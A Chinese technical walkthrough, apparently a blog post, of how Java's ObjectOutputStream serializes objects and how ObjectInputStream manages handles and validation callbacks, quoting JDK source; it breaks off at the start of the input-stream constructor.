例如下面这个实例,SimpleObjectOutputStream 完全接管父类的序列化行为,并且在 writeObjectOverride 函数中实现了自己的逻辑。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 class SimpleObjectOutputStream extends ObjectOutputStream { private final OutputStream out; SimpleObjectOutputStream(OutputStream out) throws IOException { super (); this .out = Objects.requireNonNull(out); writeStreamHeader(); } @Override protected void writeStreamHeader () throws IOException { out.write(new byte []{'S' ,'O' ,'S' , 0x01 }); } @Override protected void writeObjectOverride (Object obj) throws IOException { if (obj instanceof String s) { out.write(0x01 ); byte [] data = s.getBytes(StandardCharsets.UTF_8); writeInt(data.length); out.write(data); } else { throw new NotSerializableException ("Only String supported in demo" ); } } @Override public void write (int b) throws IOException { out.write(b); } @Override public void write (byte [] b, int off, int len) throws IOException { out.write(b, off, len); } @Override public void flush () throws IOException { out.flush(); } @Override public void close () throws IOException { out.close(); } private void writeInt (int v) throws IOException { out.write((v >>> 24 ) & 0xFF ); out.write((v >>> 16 ) & 0xFF ); out.write((v >>> 8 ) & 0xFF ); out.write(v & 0xFF ); } } try (var baos = new ByteArrayOutputStream (); var oos = new SimpleObjectOutputStream (baos)) { oos.writeObject("Hello" ); oos.writeObject("World" ); oos.flush(); byte [] bytes = baos.toByteArray(); }
有参构造函数 当我们使用 ObjectOutputStream(OutputStream out) 创建一个对象输出流并进行序列化时,实际调用的是该带参构造函数 ,它的实现如下所示。可以看到,这里 enableOverride 被设置为 false,意味着后续调用 writeObject() 等方法时,会使用 JDK 默认实现,而不是某个子类可能自定义的版本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 public ObjectOutputStream (OutputStream out) throws IOException { verifySubclass(); bout = new BlockDataOutputStream (out); handles = new HandleTable (10 , (float ) 3.00 ); subs = new ReplaceTable (10 , (float ) 3.00 ); enableOverride = false ; writeStreamHeader(); bout.setBlockDataMode(true ); if (extendedDebugInfo) { debugInfoStack = new DebugTraceInfoStack (); } else { debugInfoStack = null ; } }
在构造函数的最开始,verifySubclass() 用于检查调用栈中是否存在继承了 ObjectOutputStream 的自定义子类 。如果存在且该子类重写了敏感方法(如 writeUnshared()),且当前 JVM 安装了 SecurityManager,那么必须具备 SerializablePermission("enableSubclassImplementation") 权限。否则会抛出 SecurityException。
接着将传入的 OutputStream 封装为 BlockDataOutputStream:
1 2 3 4 bout = new BlockDataOutputStream (out);
BlockDataOutputStream 是专用于 Java 序列化的输出封装类,它将数据写成块数据格式 (block data),并配合 ObjectInputStream 使用的 BlockDataInputStream 实现数据对齐与高效读写。
1 2 3 4 5 6 7 8 BlockDataOutputStream(OutputStream out) { this .out = out; dout = new DataOutputStream (this ); }
这是 Java 内建序列化协议(Object Serialization Stream Protocol)的实现细节,和 ObjectInputStream 对应的 BlockDataInputStream 配套,负责在“块数据模式 ”与“非块模式 ”(写对象/类描述等结构化标记,比如 TC_OBJECT、TC_CLASSDESC、TC_REFERENCE)之间切换,保证两边读写严格对齐。
之后调用 writeStreamHeader() 写出序列化头部内容:
也就是写出两个短整型值:魔数 0xACED 与版本号 0x0005,这些会被接收方 ObjectInputStream 在 readStreamHeader() 时读取并校验。
1 2 3 4 protected void writeStreamHeader () throws IOException { bout.writeShort(STREAM_MAGIC); bout.writeShort(STREAM_VERSION); }
块数据模式下,所有原始类型、数组等写入操作都会自动被包装为带有长度前缀的块(使用 TC_BLOCKDATA 或 TC_BLOCKDATALONG 标签),可以减少标记开销、提升解码效率。
1 2 bout.setBlockDataMode(true );
writeObject 序列化 当 ObjectOutputStream 的 public 构造方法走完后,才会调用 writeObject() 开始写对象数据,该方法的主要代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 public final void writeObject (Object obj) throws IOException { if (enableOverride) { writeObjectOverride(obj); return ; } try { writeObject0(obj, false ); } catch (IOException ex) { if (depth == 0 ) { writeFatalException(ex); } throw ex; } }
writeObject0 当 enableOverride 为 true 时调用的是 ObjectOutputStream 子类实现的 writeObjectOverride;否则会调用 JDK 自身实现的 writeObject0 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 private void writeObject0 (Object obj, boolean unshared) throws IOException { boolean oldMode = bout.setBlockDataMode(false ); depth++; try { int h; if ((obj = subs.lookup(obj)) == null ) { writeNull(); return ; } else if (!unshared && (h = handles.lookup(obj)) != -1 ) { writeHandle(h); return ; } else if (obj instanceof Class) { writeClass((Class) obj, unshared); return ; } else if (obj instanceof ObjectStreamClass) { writeClassDesc((ObjectStreamClass) obj, unshared); return ; } Object orig = obj; Class<?> cl = obj.getClass(); ObjectStreamClass desc; for (;;) { desc = ObjectStreamClass.lookup(cl, true ); if (!desc.hasWriteReplaceMethod()) { break ; } Object rep = desc.invokeWriteReplace(obj); if (rep == null ) { obj = null ; break ; } Class<?> repCl = rep.getClass(); obj = rep; if (repCl == cl) { break ; } cl = repCl; } if (enableReplace) { Object rep = replaceObject(obj); if (rep != obj && rep != null ) { cl = rep.getClass(); desc = ObjectStreamClass.lookup(cl, true ); } obj = rep; } if (obj != orig) { subs.assign(orig, obj); if (obj == null ) { writeNull(); return ; } else if (!unshared && (h = handles.lookup(obj)) != -1 ) { writeHandle(h); return ; } else if (obj instanceof Class) { writeClass((Class) obj, unshared); return ; } else if (obj instanceof ObjectStreamClass) { writeClassDesc((ObjectStreamClass) obj, unshared); return ; } } if (obj instanceof String) { writeString((String) obj, unshared); } else if (cl.isArray()) { writeArray(obj, desc, unshared); } else if (obj instanceof Enum) { writeEnum((Enum<?>) obj, desc, unshared); } else if (obj instanceof Serializable) { writeOrdinaryObject(obj, desc, unshared); } else { if (extendedDebugInfo) { throw new NotSerializableException ( cl.getName() + "\n" + debugInfoStack.toString()); } else { throw new NotSerializableException (cl.getName()); } } } finally { depth--; bout.setBlockDataMode(oldMode); } }
在 writeObject0() 方法最开始的地方,首先代码先关闭输出流的Data Block模式,并且将原始模式 赋值给变量 oldMode。
1 2 boolean oldMode = bout.setBlockDataMode(false );
接下来会处理已经处理过的 和不可替换的 对象,这些都是不能够序列化的,其实在大多数情况下,我们的代码都不会进入这个代码块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int h;if ((obj = subs.lookup(obj)) == null ) { writeNull(); return ; } else if (!unshared && (h = handles.lookup(obj)) != -1 ) { writeHandle(h); return ; } else if (obj instanceof Class) { writeClass((Class) obj, unshared); return ; } else if (obj instanceof ObjectStreamClass) { writeClassDesc((ObjectStreamClass) obj, unshared); return ; }
具体来看,代码首先会进入 subs.lookup(obj) 进行判断。该方法会查找并返回给定对象的替换。如果找不到替换,则返回查找对象本身。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Object lookup (Object obj) { int index = htab.lookup(obj); return (index >= 0 ) ? reps[index] : obj; }
也就是说,这个方法实际上就是处理以前写入的对象和不可替换的对象。更直白点的意思,这段代码实际上做的是一个检测功能,如果检测到当前传入对象在“替换哈希表(ReplaceTable)”中无法找到,那么就调用 writeNull 方法。
接着继续判断当前写入方式是不是“unshared”方式,然后可以看到紧跟着的就是 handles.lookup(obj):
该 lookup 方法会查找并返回与给定对象关联的 handler,如果没有找到映射,则返回 -1,直白的意思就是说判断是否在“引用哈希表(HandleTable)”中找到该引用,如果有,那么调用 writeHandle 方法并且返回;如果没找到,那么返回 -1,需要进一步序列化处理。
之后判断当前传入对象是不是特殊类型的 Class 和 ObjectStreamClass,如果是,则调用 writeClass 或 writeClassDesc 方法并且返回。
1 2 3 4 5 6 7 8 9 10 else if (obj instanceof Class) { writeClass((Class) obj, unshared); return ; } else if (obj instanceof ObjectStreamClass) { writeClassDesc((ObjectStreamClass) obj, unshared); return ; }
当以上条件都不满足的时候(不进入if),开始检查是否开启了替换对象。但实际上 enableReplace 的值通常为 false,因此我们并不会进入这一代码段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 Object orig = obj; Class<?> cl = obj.getClass(); ObjectStreamClass desc; for (;;) { Class<?> repCl; desc = ObjectStreamClass.lookup(cl, true ); if (!desc.hasWriteReplaceMethod() || (obj = desc.invokeWriteReplace(obj)) == null || (repCl = obj.getClass()) == cl) { break ; } cl = repCl; } if (enableReplace) { Object rep = replaceObject(obj); if (rep != obj && rep != null ) { cl = rep.getClass(); desc = ObjectStreamClass.lookup(cl, true ); } obj = rep; }
如果对象被替换,这里会对原始对象进行二次检查,和最开始的那段代码很像,这里先将替换对象插入到 subs(替换哈希表)中,然后进行类似的判断。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if (obj != orig) { subs.assign(orig, obj); if (obj == null ) { writeNull(); return ; } else if (!unshared && (h = handles.lookup(obj)) != -1 ) { writeHandle(h); return ; } else if (obj instanceof Class) { writeClass((Class) obj, unshared); return ; } else if (obj instanceof ObjectStreamClass) { writeClassDesc((ObjectStreamClass) obj, unshared); return ; } }
以上执行都完成过后,会处理剩余对象类型:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 if (obj instanceof String) { writeString((String) obj, unshared); } else if (cl.isArray()) { writeArray(obj, desc, unshared); } else if (obj instanceof Enum) { writeEnum((Enum<?>) obj, desc, unshared); } else if (obj instanceof Serializable) { writeOrdinaryObject(obj, desc, unshared); } else { if (extendedDebugInfo) { throw new NotSerializableException ( cl.getName() + "\n" + debugInfoStack.toString()); } else { throw new NotSerializableException (cl.getName()); } }
如果传入对象为 String 类型,那么调用 writeString 方法将数据写入字节流;
如果传入对象为 Array 类型,那么调用 writeArray 方法将数据写入字节流;
如果传入对象为 Enum 类型,调用 writeEnum 方法将数据写入字节流;
如果传入对象实现了 Serializable 接口,调用 writeOrdinaryObject 方法将数据写入字节流;
以上条件都不满足时则抛出 NotSerializableException 异常信息;
对于 writeString、writeArray、writeEnum 的方法我们就不详谈了,只以 writeString 为例简单讲下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 private void writeString (String str, boolean unshared) throws IOException { handles.assign(unshared ? null : str); long utflen = bout.getUTFLength(str); if (utflen <= 0xFFFF ) { bout.writeByte(TC_STRING); bout.writeUTF(str, utflen); } else { bout.writeByte(TC_LONGSTRING); bout.writeLongUTF(str, utflen); } }
writeOrdinaryObject 现在我们重点来看看 writeOrdinaryObject 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 private void writeOrdinaryObject (Object obj, ObjectStreamClass desc, boolean unshared) throws IOException { if (extendedDebugInfo) { debugInfoStack.push( (depth == 1 ? "root " : "" ) + "object (class \"" + obj.getClass().getName() + "\", " + obj.toString() + ")" ); } try { desc.checkSerialize(); bout.writeByte(TC_OBJECT); writeClassDesc(desc, false ); handles.assign(unshared ? null : obj); if (desc.isExternalizable() && !desc.isProxy()) { writeExternalData((Externalizable) obj); } else { writeSerialData(obj, desc); } } finally { if (extendedDebugInfo) { debugInfoStack.pop(); } } }
在写入 obj 对象之前,代码会先调用 checkSerialize() 检查当前对象是否是一个可序列化对象,如果不是那么会终止本次序列化并抛出 newInvalidClassException() 错误:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 void checkSerialize () throws InvalidClassException { requireInitialized(); if (serializeEx != null ) { throw serializeEx.newInvalidClassException(); } } private final void requireInitialized () { if (!initialized) throw new InternalError ("Unexpected call when not initialized" ); }
如果是一个可序列化对象,那么会开始写入 TC_OBJECT 标记(表示开始)
1 2 bout.writeByte(TC_OBJECT);
随后调用 writeClassDesc 方法写入当前对象所属类的类描述信息:
1 2 3 4 5 writeClassDesc(desc, false );
如果使用的模式是 unshared 模式,则将 desc 所表示的类元数据信息插入到 handles 对象的映射表中。
1 2 3 4 5 handles.assign(unshared ? null : obj);
最后会判断当前 Java 对象的序列化语义:
如果当前对象不是一个动态代理类 并且是实现了外部化 的,则调用 writeExternalData 方法写入对象信息;
如果当前对象是一个实现了 Serializable 接口的,则调用 writeSerialData 方法写入对象信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (desc.isExternalizable() && !desc.isProxy()) { writeExternalData((Externalizable) obj); } else { writeSerialData(obj, desc); }
writeClassDesc writeClassDesc 方法主要用于判断当前的类描述符使用什么方式写入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 private void writeClassDesc (ObjectStreamClass desc, boolean unshared) throws IOException { int handle; if (desc == null ) { writeNull(); } else if (!unshared && (handle = handles.lookup(desc)) != -1 ) { writeHandle(handle); } else if (desc.isProxy()) { writeProxyDesc(desc, unshared); } else { writeNonProxyDesc(desc, unshared); } }
如果传入的类描述信息是一个 null 引用,那么会调用 writeNull 方法;
如果没有使用 unshared 方式,并且可以在 handles 对象池中找到传入的对象信息,那么调用writeHandle;
如果传入的类是一个动态代理类,那么调用 writeProxyDesc 方法;
如果上面三个条件都不满足,那么调用 writeNonProxyDesc 方法。
writeNull 就是向序列化流中写入一个“空引用”标记。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private void writeNull () throws IOException { bout.writeByte(TC_NULL); }
writeHandle 则是在当前对象允许引用的时候,写入该对象在本地句柄表(handles)的下标信息。
具体来说是写入结构化标记 TC_REFERENCE (0x71) 后跟 4 字节网络句柄 ID。这里网络句柄 ID 对应本地句柄表(handles)的下标。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private void writeHandle (int handle) throws IOException { bout.writeByte(TC_REFERENCE); bout.writeInt(baseWireHandle + handle); }
writeProxyDesc 则写入动态代理类的信息,包括代理实现的接口名称等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 private void writeProxyDesc (ObjectStreamClass desc, boolean unshared) throws IOException { bout.writeByte(TC_PROXYCLASSDESC); handles.assign(unshared ? null : desc); Class<?> cl = desc.forClass(); Class<?>[] ifaces = cl.getInterfaces(); bout.writeInt(ifaces.length); for (int i = 0 ; i < ifaces.length; i++) { bout.writeUTF(ifaces[i].getName()); } bout.setBlockDataMode(true ); if (cl != null && isCustomSubclass()) { ReflectUtil.checkPackageAccess(cl); } annotateProxyClass(cl); bout.setBlockDataMode(false ); bout.writeByte(TC_ENDBLOCKDATA); writeClassDesc(desc.getSuperDesc(), false ); }
writeNonProxyDesc 则写入普通类的基本信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 private void writeNonProxyDesc (ObjectStreamClass desc, boolean unshared) throws IOException { bout.writeByte(TC_CLASSDESC); handles.assign(unshared ? null : desc); if (protocol == PROTOCOL_VERSION_1) { desc.writeNonProxy(this ); } else { writeClassDescriptor(desc); } Class<?> cl = desc.forClass(); bout.setBlockDataMode(true ); if (cl != null && isCustomSubclass()) { ReflectUtil.checkPackageAccess(cl); } annotateClass(cl); bout.setBlockDataMode(false ); bout.writeByte(TC_ENDBLOCKDATA); writeClassDesc(desc.getSuperDesc(), false ); }
其中写入“类描述符主体”实际调用的都是 desc.writeNonProxy 函数。
1 2 3 4 5 protected void writeClassDescriptor (ObjectStreamClass desc) throws IOException { desc.writeNonProxy(this ); }
writeNonProxy 会将类名、类型、字段等信息写入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 void writeNonProxy (ObjectOutputStream out) throws IOException { out.writeUTF(name); out.writeLong(getSerialVersionUID()); byte flags = 0 ; if (externalizable) { flags |= ObjectStreamConstants.SC_EXTERNALIZABLE; int protocol = out.getProtocolVersion(); if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) { flags |= ObjectStreamConstants.SC_BLOCK_DATA; } } else if (serializable) { flags |= ObjectStreamConstants.SC_SERIALIZABLE; } if (hasWriteObjectData) { flags |= ObjectStreamConstants.SC_WRITE_METHOD; } if (isEnum) { flags |= ObjectStreamConstants.SC_ENUM; } out.writeByte(flags); out.writeShort(fields.length); for (int i = 0 ; i < fields.length; i++) { ObjectStreamField f = fields[i]; out.writeByte(f.getTypeCode()); out.writeUTF(f.getName()); if (!f.isPrimitive()) { out.writeTypeString(f.getTypeString()); } } }
writeExternalData 当一个类实现了 Externalizable 接口且不是代理类的对象进行序列化的时候会调用 writeExternalData 写入实例数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 private void writeExternalData (Externalizable obj) throws IOException { PutFieldImpl oldPut = curPut; curPut = null ; if (extendedDebugInfo) { debugInfoStack.push("writeExternal data" ); } SerialCallbackContext oldContext = curContext; try { curContext = null ; if (protocol == PROTOCOL_VERSION_1) { obj.writeExternal(this ); } else { bout.setBlockDataMode(true ); obj.writeExternal(this ); bout.setBlockDataMode(false ); bout.writeByte(TC_ENDBLOCKDATA); } } finally { curContext = oldContext; if (extendedDebugInfo) { debugInfoStack.pop(); } } curPut = oldPut; }
具体过程为:
暂存并清空 curPut / curContext(禁用默认序列化路径;误用将抛 NotActiveException)。
bout.setBlockDataMode(true) 开启块数据模式。
回调 obj.writeExternal(this):对象 自行 向流中写任何需要的内容(可写原始类型、对象等)。
bout.setBlockDataMode(false) 退出块模式。
写 TC_ENDBLOCKDATA 作为“外部化数据段结束”标记。
这里注意到 writeExternalData 有清空和恢复 PutFields 上下文的操作:
1 2 3 4 5 6 PutFieldImpl oldPut = curPut;curPut = null ; ... obj.writeExternal(this ); ... curPut = oldPut;
curPut 代表 “当前层 defaultWriteObject/putFields 写字段的上下文” 。它只在 Serializable 路径、并且正在执行某一层的 writeObject 回调时 才会被设置为非 null——也就是 putFields()/writeFields() 临时存放字段值 的缓冲器。
如果在进入 writeExternalData() 时不把已经存在的 curPut 清掉 ,可能发生嵌套调用污染 ,例如:
当前正序列化一个对象 Outer,它的 writeObject() 里调用了 putFields(),此时 curPut 指向 Outer 的字段缓冲。
writeObject() 又写了一个 Externalizable 的 Inner。
如果不清空,Inner.writeExternal() 内部一旦误用 defaultWriteObject() 或 putFields(),框架会把这块缓冲误认为还在写 Outer,导致字段错位或直接抛异常 。
所以,清空 curPut 是一种“断开默认字段通道 + 防污染 + 防误用” 的保护措施。
writeSerialData 当对象既不是 Externalizable、也不是 String/数组/Enum/Class/ObjectStreamClass 这些特例时,writeOrdinaryObject(...) 会通过 writeSerialData 写字段数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 private void writeSerialData (Object obj, ObjectStreamClass desc) throws IOException { ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout(); for (int i = 0 ; i < slots.length; i++) { ObjectStreamClass slotDesc = slots[i].desc; if (slotDesc.hasWriteObjectMethod()) { PutFieldImpl oldPut = curPut; curPut = null ; SerialCallbackContext oldContext = curContext; if (extendedDebugInfo) { debugInfoStack.push( "custom writeObject data (class \"" + slotDesc.getName() + "\")" ); } try { curContext = new SerialCallbackContext (obj, slotDesc); bout.setBlockDataMode(true ); slotDesc.invokeWriteObject(obj, this ); bout.setBlockDataMode(false ); bout.writeByte(TC_ENDBLOCKDATA); } finally { curContext.setUsed(); curContext = oldContext; if (extendedDebugInfo) { debugInfoStack.pop(); } } curPut = oldPut; } else { defaultWriteFields(obj, slotDesc); } } }
desc.getClassDataLayout() 会给出可序列化链 的每一层(ClassDataSlot),顺序始终是 父类在前、子类在后 。对每一层 slotDesc 有两条路径:
该层声明了 private void writeObject(ObjectOutputStream out)(自定义路径)
隔离上下文
暂存并清空 curPut(避免把外层/上一层的 putFields 状态“串味”到本层;误用会抛 NotActiveException)。
暂存并替换 curContext = new SerialCallbackContext(obj, slotDesc)(确保 defaultWriteObject/putFields 只能在“当前对象+当前层”里被合法调用)。
用块数据包裹该层“自定义数据区”
bout.setBlockDataMode(true) 开启 Data Block 模式
反射调用 slotDesc.invokeWriteObject(obj, this)
bout.setBlockDataMode(false) 关闭 Data Block 模式
写入该层结尾标记 :TC_ENDBLOCKDATA (0x78)
恢复上下文
curContext.setUsed(); curContext = oldContext; curPut = oldPut;
若开了 extendedDebugInfo,弹出调试栈条目。
该层没有 writeObject(...)(默认字段路径)
这时调用 defaultWriteFields(obj, slotDesc)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 private void defaultWriteFields (Object obj, ObjectStreamClass desc) throws IOException { Class<?> cl = desc.forClass(); if (cl != null && obj != null && !cl.isInstance(obj)) { throw new ClassCastException (); } desc.checkDefaultSerialize(); int primDataSize = desc.getPrimDataSize(); if (primVals == null || primVals.length < primDataSize) { primVals = new byte [primDataSize]; } desc.getPrimFieldValues(obj, primVals); bout.write(primVals, 0 , primDataSize, false ); ObjectStreamField[] fields = desc.getFields(false ); Object[] objVals = new Object [desc.getNumObjFields()]; int numPrimFields = fields.length - objVals.length; desc.getObjFieldValues(obj, objVals); for (int i = 0 ; i < objVals.length; i++) { if (extendedDebugInfo) { debugInfoStack.push( "field (class \"" + desc.getName() + "\", name: \"" + fields[numPrimFields + i].getName() + "\", type: \"" + fields[numPrimFields + i].getType() + "\")" ); } try { writeObject0( objVals[i], fields[numPrimFields + i].isUnshared() ); } finally { if (extendedDebugInfo) { debugInfoStack.pop(); } } } }
它会严格按该层的字段布局 写值:
原始字段(primitive)统一打包
内部会开启块模式,把该层所有原始类型字段 的字节连续写入一个(或若干)TC_BLOCKDATA/TC_BLOCKDATALONG 块;
写完立刻切回非块模式(只是为了把“原始字段段”打包),**不会写 TC_ENDBLOCKDATA**。
对象/数组字段逐个写
依序对每个对象/数组字段调用 writeObject(...)(或 writeUnshared(...),若该字段在 serialPersistentFields 里声明了 unshared);
这些写法会走“结构化标记”:TC_NULL/TC_REFERENCE/TC_OBJECT/... 等。
反序列化过程分析 通常我们通过下面这个过程将对象反序列化:
1 2 3 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray());ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream);object = objectInputStream.readObject();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 public class ObjectInputStream extends InputStream implements ObjectInput , ObjectStreamConstants { }
与 BlockDataOutputStream 对应,BlockDataInputStream 把“协议里的块数据”抽象为连续字节源;需要时切换“非块模式”读取类型码/长度等结构化标记。
1 private final BlockDataInputStream bin;
对象句柄表:HandleTable ObjectInputStream 在反序列化时会维护 wire handle(从 0x7E0000 起)→{对象 | 异常} 的映射及读取状态 ,从而确保正确实现 TC_REFERENCE 的回引、循环引用 、以及异常传播。
维护上述内容的结构是对象句柄表 HandleTable。在该句柄表中,对象的状态有下面几种形式:
UNREAD:刚分配句柄,占位;
READING:正在构造/填充该对象(处理自引用/循环引用时会先发句柄);
DEFAULTED:降级/默认化(少见);
OK:完成,可正常回引。
通过 HandleTable,我们可以确保循环引用的对象可以正常反序列化出来,例如:
当某对象 A 字段里引用了 B,而 B 又在构造中引用回 A:OIS 会先给 A 分配句柄并置 READING,构造 A 时读到 B,再为 B 分配句柄……当 B 里回引 A 时,通过 TC_REFERENCE 取到 A 的占位对象 ,从而闭环。
HandleTable 的常见操作如下:
assign(...):为“将要被读取的那个新对象” 占个坑,返回它的句柄 H ,状态置 READING(或实现里先 UNREAD,马上变 READING)。
markDependency(dependent, target):当前在读的对象(dependent=父/宿主)依赖 target(子/被引用) 。真正代码里“当前在读”的句柄就是 passHandle。
setObject(H, obj):把 H 这个坑里 塞上最终对象 。
setException(H, ex):把 H 这个坑 标记成失败异常 (根因)。
finish(H):把 H 的状态从 READING 收尾到 OK,并处理“等它的人”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 int H = handles.assign(unshared ? UNSHARED_SENTINEL : PLACEHOLDER);int parent = passHandle; passHandle = H; try { Object obj = desc.newInstance(); readClassData(obj, desc); obj = desc.maybeReadResolve(obj); handles.setObject(H, obj); handles.finish(H); return obj; } catch (Throwable cause) { handles.setException(H, cause); throw abortWithWriteAborted(cause); } finally { passHandle = parent; }
对象图校验回调:ValidationList 在反序列化流程中,有些对象希望在 整个对象图构建完成后 再进行某些操作(例如不变量校验、反向索引恢复、跨引用修补等),这时可以调用:
1 ObjectInputStream.registerValidation(ObjectInputValidation obj, int priority);
此时延迟回调 会被登记到 ObjectInputStream 的一个内部队列 ValidationList 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 public void registerValidation (ObjectInputValidation obj, int prio) throws NotActiveException, InvalidObjectException { if (depth == 0 ) { throw new NotActiveException ("stream inactive" ); } vlist.register(obj, prio); } void register (ObjectInputValidation obj, int priority) throws InvalidObjectException { if (obj == null ) { throw new InvalidObjectException ("null callback" ); } Callback prev = null , cur = list; while (cur != null && priority < cur.priority) { prev = cur; cur = cur.next; } AccessControlContext acc = AccessController.getContext(); if (prev != null ) { prev.next = new Callback (obj, priority, cur, acc); } else { list = new Callback (obj, priority, list, acc); } }
对象图构建完毕后,一次性 做收尾:建索引、补 transient 字段、做不变量校验等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Object readObject () throws IOException, ClassNotFoundException { depth++; try { Object obj = readObject0(false ); if (depth == 1 ) { vlist.doCallbacks(); } return obj; } catch (InvalidObjectException e) { throw e; } finally { depth--; if (depth == 0 ) vlist.clear(); } }
doCallbacks 会按照优先级依次调用对象的 validateObject 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 void doCallbacks () throws InvalidObjectException { try { while (list != null ) { AccessController.doPrivileged( new PrivilegedExceptionAction <Void>() { public Void run () throws InvalidObjectException { list.obj.validateObject(); return null ; } }, list.acc ); list = list.next; } } catch (PrivilegedActionException ex) { list = null ; throw (InvalidObjectException) ex.getException(); } } public void clear () { list = null ; }
ObjectInputStream 同样有两类构造函数,这里直接看有参构造函数:
